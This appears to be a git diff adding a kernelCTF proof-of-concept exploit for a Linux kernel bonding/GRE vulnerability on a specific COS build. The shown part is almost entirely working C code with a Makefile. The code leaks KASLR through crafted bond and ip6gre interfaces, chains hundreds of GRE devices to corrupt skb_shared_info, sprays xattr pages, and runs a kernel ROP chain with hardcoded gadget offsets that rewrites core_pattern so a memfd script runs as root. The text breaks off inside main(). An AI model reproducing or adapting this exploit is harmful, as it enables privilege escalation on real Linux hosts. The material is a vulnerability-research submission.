diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..e69de29bb diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..e69de29bb diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/Makefile b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/Makefile new file mode 100644 index 000000000..09ff56415 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/Makefile @@ -0,0 +1,2 @@ +exploit: exp.c + gcc exp.c -static -o exploit diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exp.c b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exp.c new file mode 100644 index 000000000..8a85a465a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exp.c @@ -0,0 +1,824 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef BOND_MODE_ACTIVEBACKUP +#define BOND_MODE_ACTIVEBACKUP 1 +#endif + +#ifndef NLMSG_TAIL +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ + }) + +#define CORE_PATTERN_CMD_WORD0 UINT64_C(0x252f636f72702f7c) // "|/proc/%" +#define CORE_PATTERN_CMD_WORD1 UINT64_C(0x3636362f64662f50) // "P/fd/666" +#define IFI_CHANGE_ALL UINT32_MAX +#define WIN_PROCESS_NAME "win" +#define WIN_STDOUT_FD_STR "1" + +enum { + RTNETLINK_REQ_BUF_SIZE = 1024, + RTNETLINK_REPLY_BUF_SIZE = 4096, + SETLINK_REQ_ATTR_BUF_SIZE = 512, + PACKET_BUF_SIZE = 0x10000, + PAGE_SIZE = 0x1000, + USERNS_MAP_BUF_SIZE = 0x100, + XATTR_SPRAY_SIZE = 0x4000, + XATTR_SPRAY_QWORDS = XATTR_SPRAY_SIZE / sizeof(uint64_t), + XATTR_SPRAY_PATH_SIZE = 32, + XATTR_SPRAY_FILE_MODE = 0777, + PROC_DIR_ENTRY_INLINE_NAME_SIZE = 8, + PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE = PROC_DIR_ENTRY_INLINE_NAME_SIZE + 1, + U64_SIZE = sizeof(uint64_t), + LEAK_PACKET_MIN_SIZE = 0x28, + IPV4_OCTET_RANGE = 256, + GRE_ENCAP_BOOTSTRAP_IFS = 8, + WIN_STDOUT_FD = 666, +}; + +enum { + // Accepted by rtnetlink; the exact type is unused. + IFINFO_DUMMY_TYPE = 0xde, + // Chained GRE devices make dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE. + NUM_GRE_IFS = 329, + BOND_ARP_INTERVAL_MS = 1000, + + // Random fixed ifindexes + BOND_IFINDEX_FOR_KASLR_LEAK = 0xdead, + BOND_IFINDEX_FOR_PIVOT_LEAK1 = 0xbeef, + BOND_IFINDEX_FOR_PIVOT_LEAK2 = 0xcafe, + BOND_IFINDEX_FOR_TRIGGER = 0xbabe, + GRE_INDEX_BASE = 0x41424344, + + PACKET_NO_PROTOCOL = 0, +}; + +enum { + BOND_RCV_VALIDATE_LEAK_OFFS = 0x08, + PROC_DIR_ENTRY_LEAK_OFFS = 0x20, + SKB_SHARED_INFO_IDX = 0x7d8, + SKB_SHINFO_DESTRUCTOR_ARG_QWORD = 0x5, + SKB_SHINFO_PIVOT_POP_RDI_QWORD = 0x7, + SKB_SHINFO_PIVOT_ARG_QWORD = 0x8, + SKB_SHINFO_STACK_PIVOT_QWORD = 0xa, + SKB_SHINFO_ROP_CHAIN_QWORD = 0xb, + PROC_DIR_ENTRY_OFFS_INLINE_NAME = 0xac, +}; + +enum { + BOND_RCV_VALIDATE_OFFS = 0xb69140, + CORE_PATTERN_OFFS = 0x29bbca0, + + // mov rax, [r12+0x40]; lea rdi, [r12+0x38]; mov rax, [rax+8]; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS = 0x008978c7, + // mov rbp, rdi; push rbx; mov rax, [rdi+0x18]; xor ebx, ebx; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS = 0x00a1fc03, + // mov rsp, rbp; pop rbp; pop r15; pop r13; pop r12; ret; + GADGET_STACK_PIVOT_OFFS = 0x0018a3e8, + // pop rdi; ret; + GADGET_POP_RDI_RET_OFFS = 0x012ca118, + // pop rcx; pop rax; ret; + GADGET_POP_RCX_POP_RAX_RET_OFFS = 0x012b1dbd, + // mov qword ptr [rax], rcx; ret; + GADGET_MOV_PTR_RAX_RCX_RET_OFFS = 0x007687eb, + // swapgs; iretq; + GADGET_SWAPGS_IRETQ_OFFS = 0x14011c6, + IRETQ_DUMMY_VALUE = 0xdead, +}; + +static const char *get_rtnetlink_operation(uint16_t type) { + switch (type) { + case RTM_NEWLINK: + return "create link"; + case RTM_DELLINK: + return "delete link"; + case RTM_GETLINK: + return "get link info"; + case RTM_NEWADDR: + return "add address"; + case RTM_DELADDR: + return "delete address"; + case RTM_GETADDR: + return "get address"; + case RTM_NEWROUTE: + return "add route"; + case RTM_DELROUTE: + return "delete route"; + case RTM_GETROUTE: + return "get route"; + default: + return "unknown operation"; + } +} + +static void explain_rtnetlink_error(struct nlmsghdr *req, int error) { + const char *operation = get_rtnetlink_operation(req->nlmsg_type); + + fprintf(stderr, "RTNetlink operation '%s' failed: ", operation); + + switch (-error) { + case EACCES: + fprintf(stderr, "Permission denied. This operation requires CAP_NET_ADMIN " + "capability.\n"); + break; + + case EADDRINUSE: + fprintf(stderr, "Address/resource already in use\n"); + break; + + case EADDRNOTAVAIL: + fprintf(stderr, "Address not available on this device\n"); + break; + + case ENODEV: + fprintf(stderr, "Network interface does not exist\n"); + break; + + case EINVAL: + fprintf(stderr, "Invalid parameter/configuration:\n"); + // Additional parsing of req->nlmsg_type specific structures + if (req->nlmsg_type == RTM_NEWADDR) { + fprintf(stderr, "- Check address family and prefix length\n"); + fprintf(stderr, "- Verify interface exists and is up\n"); + } else if (req->nlmsg_type == RTM_NEWROUTE) { + fprintf(stderr, "- Check route parameters (gateway, metrics)\n"); + fprintf(stderr, "- Verify routing table exists\n"); + } + break; + + case EMSGSIZE: + fprintf(stderr, "Message too large or incorrectly formatted\n"); + break; + + case ENOBUFS: + fprintf(stderr, "System resource shortage, try again later\n"); + break; + + case ESRCH: + fprintf(stderr, "Resource (route/rule/address) not found\n"); + break; + + case EEXIST: + fprintf(stderr, "Resource already exists\n"); + break; + + default: + fprintf(stderr, "%s\n", strerror(-error)); + } +} +static int send_and_recv_rtnetlink(int sock, struct nlmsghdr *nlh) { + static long nlmsg_seq_idx = 0; + + struct sockaddr_nl dest_addr = { + .nl_family = AF_NETLINK, .nl_pid = 0, .nl_groups = 0}; + + // Set sequence number + nlh->nlmsg_seq = ++nlmsg_seq_idx; + nlh->nlmsg_flags |= NLM_F_ACK; + + struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; + + struct msghdr msg = {.msg_name = &dest_addr, + .msg_namelen = sizeof(dest_addr), + .msg_iov = &iov, + .msg_iovlen = 1}; + + if (sendmsg(sock, &msg, 0) < 0) { + fprintf(stderr, "sendmsg: %s\n", strerror(errno)); + return 0; + } + + char reply_buf[RTNETLINK_REPLY_BUF_SIZE]; + struct nlmsghdr *nh; + + while (1) { + iov.iov_base = reply_buf; + iov.iov_len = sizeof(reply_buf); + + int len = recvmsg(sock, &msg, 0); + if (len < 0) { + fprintf(stderr, "recvmsg: %s\n", strerror(errno)); + return 0; + } + + for (nh = (struct nlmsghdr *)reply_buf; NLMSG_OK(nh, len); + nh = NLMSG_NEXT(nh, len)) { + if (nh->nlmsg_seq != nlmsg_seq_idx) + continue; // Not our message + + if (nh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = NLMSG_DATA(nh); + + if (err->error == 0) { // Success + return 1; + } + + explain_rtnetlink_error(nlh, err->error); + return 0; + } + + if (nh->nlmsg_type == NLMSG_DONE) + return 1; + } + } +} + +static void add_rtattr(struct nlmsghdr *n, size_t maxlen, int type, + const void *data, size_t alen) { + size_t len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "rtattr too long\n"); + return; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); +} + +static int setup_ip6gre_slave_interface(int rtnetlink_fd, int bond_ifindex, + const char *local_addr, + const char *remote_addr, + const char *ip6gre_name) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = 0, + .i.ifi_flags = IFF_SLAVE, + }; + + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "ip6gre", + strlen("ip6gre") + 1); + + struct rtattr *ip6greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in6_addr local_ipv6; + if (inet_pton(AF_INET6, local_addr, &local_ipv6) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv6, + sizeof(local_ipv6)); + + struct in6_addr remote_ipv6; + if (inet_pton(AF_INET6, remote_addr, &remote_ipv6) < 1) { + puts("inet_pton for remote_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_REMOTE, &remote_ipv6, + sizeof(remote_ipv6)); + + // Update lengths + ip6greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)ip6greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, ip6gre_name, + strlen(ip6gre_name) + 1); + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} +static int setup_bond_interface(int rtnetlink_fd, int bond_ifindex, const char *bond_name) { + /* + * Create bond interface + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req1 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = IFINFO_DUMMY_TYPE, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = bond_ifindex, + .i.ifi_flags = IFF_UP, + }; + + // Create nested attributes for bond interface + struct rtattr *linkinfo1 = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_LINKINFO, NULL, 0); + + // Specify bond type + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_KIND, "bond", strlen("bond") + 1); + + // Add bond-specific options + struct rtattr *bondinfo = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_DATA, NULL, 0); + + // Active-backup mode is enough to route packets through the slave path. + char mode = BOND_MODE_ACTIVEBACKUP; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_MODE, &mode, sizeof(mode)); + + uint32_t arp_interval = BOND_ARP_INTERVAL_MS; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_ARP_INTERVAL, &arp_interval, + sizeof(arp_interval)); + + // Update lengths + bondinfo->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)bondinfo; + linkinfo1->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)linkinfo1; + + // Set interface name + add_rtattr(&req1.n, sizeof(req1), IFLA_IFNAME, bond_name, + strlen(bond_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req1.n); +} + +static int setup_bond_af_packet_sock(int proto_type, int ifindex_to_bind) { + int packet_fd = SYSCHK(socket(AF_PACKET, SOCK_DGRAM, proto_type)); + + struct sockaddr_ll saddr2 = {0}; + saddr2.sll_family = AF_PACKET; + saddr2.sll_protocol = proto_type; + saddr2.sll_ifindex = ifindex_to_bind; + SYSCHK(bind(packet_fd, (struct sockaddr *)&saddr2, sizeof(saddr2))); + + return packet_fd; +} + +static int setup_interface_up(int if_index) { + struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[SETLINK_REQ_ATTR_BUF_SIZE]; + } req = {0}; + + // Create netlink socket + int sock = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // Setup netlink header + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_SETLINK; + + // Setup interface info + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = if_index; + + req.ifi.ifi_flags = IFF_UP; + req.ifi.ifi_change = IFF_UP; + + int ok = send_and_recv_rtnetlink(sock, &req.nh); + close(sock); + return ok; +} + +static int setup_gre_interface(int rtnetlink_fd, int gre_ifindex, + const char *gre_name, const char *local_addr, + uint16_t encap_type) { + /* + * Create a GRE interface. It is linked into the chain later with + * setup_gre_link(). + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_UP, // IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in_addr local_ipv4; + if (inet_pton(AF_INET, local_addr, &local_ipv4) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv4, + sizeof(local_ipv4)); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_ENCAP_TYPE, &encap_type, + sizeof(encap_type)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, gre_name, + strlen(gre_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_link(int rtnetlink_fd, int gre_ifindex, int link_ifindex, + bool should_down) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = should_down ? 0 : IFF_UP, + .i.ifi_change = IFI_CHANGE_ALL, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_slave(int rtnetlink_fd, int bond_ifindex, int gre_ifindex, + int link_ifindex) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static unsigned char packet_buf[PACKET_BUF_SIZE]; +static uint64_t kbase = 0; +static uint64_t xattr_spray_payload[XATTR_SPRAY_QWORDS]; +static unsigned long user_cs, user_ss, user_sp, user_rflags; + +static void set_cpu(int core_id) { + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + SYSCHK(sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset)); +} + +static void save_state(void) { + asm("movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + : + : "memory"); +} + +#define CMD \ + "#!/bin/bash\nPID=`pidof " WIN_PROCESS_NAME "`\n" \ + "cat /flag>/proc/$PID/fd/" WIN_STDOUT_FD_STR "\n" \ + "echo o>/proc/sysrq-trigger" +static void post_exploit_trigger_core_pattern(void) { + if (!fork()) { + puts("[*] win!!"); + int memfd = memfd_create("", 0); + SYSCHK(write(memfd, CMD, sizeof(CMD))); + dup2(memfd, WIN_STDOUT_FD); + close(memfd); + *(size_t *)0 = 0; + } + // @sleep(kernel_func="", desc="keep the post-exploit process alive") + sleep(9999); +} + +static void unshare_setup(uid_t uid, gid_t gid) { + int map_fd; + char map_buf[USERNS_MAP_BUF_SIZE]; + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWUSER)); + map_fd = SYSCHK(open("/proc/self/setgroups", O_WRONLY)); + SYSCHK(write(map_fd, "deny", strlen("deny"))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/uid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)uid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/gid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)gid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + return; +} + +static uint64_t leak_proc_dir_entry_addr(uint64_t content, int if_index) { + uint64_t ret = 0; + static int gre_n = 1; + char gre_name[IFNAMSIZ], remote_addr[INET6_ADDRSTRLEN]; + char name[PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE] = {0}; + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + memcpy(name, &content, PROC_DIR_ENTRY_INLINE_NAME_SIZE); + if (!setup_bond_interface(rtnetlink_fd, if_index, name)) { + puts("Failed to create bond interface"); + return 1; + } + + gre_n++; + snprintf(gre_name, sizeof(gre_name), "leak%d", gre_n); + snprintf(remote_addr, sizeof(remote_addr), "2001:db8::%d", gre_n); + if (!setup_ip6gre_slave_interface(rtnetlink_fd, if_index, remote_addr, "::", gre_name)) { + puts("Failed to create ip6gre interface"); + return 1; + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), if_index); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + return 1; + } + for (int i = 0; i < U64_SIZE; i++) { + ret += ((uint64_t)packet_buf[PROC_DIR_ENTRY_LEAK_OFFS + i]) << (i * 8); + } + return ret; +} + +static void leak_kbase(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, "leak")) { + puts("Failed to create bond interface"); + exit(1); + } + if (!setup_ip6gre_slave_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, + "2001:db8::1", "::", "leak_ip6gre")) { + puts("Failed to create ip6gre interface"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), + BOND_IFINDEX_FOR_KASLR_LEAK); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + exit(1); + } + + uint64_t bond_rcv_validate_addr = 0; + for (int i = 0; i < U64_SIZE; i++) { + bond_rcv_validate_addr += + ((uint64_t)packet_buf[BOND_RCV_VALIDATE_LEAK_OFFS + i]) << (i * 8); + } + + kbase = bond_rcv_validate_addr - BOND_RCV_VALIDATE_OFFS; + close(packet_fd); + close(recv_fd); + close(rtnetlink_fd); + + printf("[*] kbase: 0x%lx\n", kbase); +} + +static void spray_xattr_order_2_pages(uint64_t *content) { + static int n = 0; + uint64_t *spray_data; + char path[XATTR_SPRAY_PATH_SIZE]; + snprintf(path, sizeof(path), "/tmp/xattr_spray_%d", n++); + int fd = SYSCHK(open(path, O_RDWR | O_CREAT, XATTR_SPRAY_FILE_MODE)); + spray_data = malloc(XATTR_SPRAY_SIZE); + if (!spray_data) { + perror("malloc"); + exit(1); + } + memcpy(spray_data, content, XATTR_SPRAY_SIZE); + fsetxattr(fd, "x", spray_data, XATTR_SPRAY_SIZE, 0); +}; + +static void rop_setup_core_pattern_overwrite(void) { + uint64_t first_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS; + uint64_t second_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS; + uint64_t stack_pivot_gadget = kbase + GADGET_STACK_PIVOT_OFFS; + uint64_t pop_rdi_ret = kbase + GADGET_POP_RDI_RET_OFFS; + uint64_t pop_rcx_pop_rax_ret = kbase + GADGET_POP_RCX_POP_RAX_RET_OFFS; + uint64_t mov_ptr_rax_rcx_ret = kbase + GADGET_MOV_PTR_RAX_RCX_RET_OFFS; + uint64_t swapgs_iretq = kbase + GADGET_SWAPGS_IRETQ_OFFS; + uint64_t core_pattern_addr = kbase + CORE_PATTERN_OFFS; + + // If the name contains invalid char (see dev_valid_name), creation fails. + uint64_t addr1 = leak_proc_dir_entry_addr(first_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK1); + uint64_t addr2 = leak_proc_dir_entry_addr(second_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK2); + if (addr1 == 1 || addr2 == 1) { + puts("leak failed"); + exit(1); + } + printf("[*] proc entry1: 0x%lx\n", addr1); + printf("[*] proc entry2: 0x%lx\n", addr2); + addr1 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + addr2 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + + save_state(); + uint64_t *fake_skb_shinfo = &xattr_spray_payload[SKB_SHARED_INFO_IDX]; + fake_skb_shinfo[SKB_SHINFO_DESTRUCTOR_ARG_QWORD] = addr1; + fake_skb_shinfo[SKB_SHINFO_PIVOT_POP_RDI_QWORD] = pop_rdi_ret; + fake_skb_shinfo[SKB_SHINFO_PIVOT_ARG_QWORD] = addr2 - U64_SIZE; + fake_skb_shinfo[SKB_SHINFO_STACK_PIVOT_QWORD] = stack_pivot_gadget; + + // Overwrite /proc/sys/kernel/core_pattern with "|/proc/%P/fd/666". + uint64_t *rop_chain = &fake_skb_shinfo[SKB_SHINFO_ROP_CHAIN_QWORD]; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD0; + *rop_chain++ = core_pattern_addr; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD1; + *rop_chain++ = core_pattern_addr + U64_SIZE; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = swapgs_iretq; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = (uint64_t)&post_exploit_trigger_core_pattern; + *rop_chain++ = user_cs; + *rop_chain++ = user_rflags; + *rop_chain++ = user_sp + U64_SIZE; + *rop_chain++ = user_ss; + puts("[*] done rop_setup_core_pattern_overwrite"); +} + +static void vuln_trigger_skb_shared_info_overwrite(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // @step(name="Triggering the skb_shared_info overwrite") + // The GRE chain makes dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE, + // then the zero-length packet corrupts skb_shared_info in the order-2 skb. + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, "mybond")) { + puts("Failed to create bond interface"); + exit(1); + } + + for (int i = 0; i < NUM_GRE_IFS; i++) { + char laddr[INET_ADDRSTRLEN] = ""; + char ifname[IFNAMSIZ] = ""; + snprintf(laddr, sizeof(laddr), "21.0.%d.%d", i / IPV4_OCTET_RANGE, i % IPV4_OCTET_RANGE); + snprintf(ifname, sizeof(ifname), "if%d-%d", i, i); + + int current_gre_index = GRE_INDEX_BASE + i; + if (!setup_gre_interface(rtnetlink_fd, current_gre_index , ifname, laddr, + i < GRE_ENCAP_BOOTSTRAP_IFS ? TUNNEL_ENCAP_FOU : TUNNEL_ENCAP_NONE)) { + puts("Failed to create gre interface"); + exit(1); + } + + if (i > 0) { + int prev_gre_index = GRE_INDEX_BASE + i - 1; + if (!setup_gre_link(rtnetlink_fd, current_gre_index, prev_gre_index, true)) { + puts("Failed to change gre interface"); + exit(1); + } + } + } + + if (!setup_gre_slave(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, + GRE_INDEX_BASE + NUM_GRE_IFS - 1, + GRE_INDEX_BASE + NUM_GRE_IFS - 2)) { + puts("Failed to make slave"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(PACKET_NO_PROTOCOL, BOND_IFINDEX_FOR_TRIGGER); + + for (;;) { + send(packet_fd, NULL, 0, 0); + spray_xattr_order_2_pages(xattr_spray_payload); + } +} + +int main(int argc, char **argv) { + (void)argc; + + if (!fork()) { + set_cpu(1); + 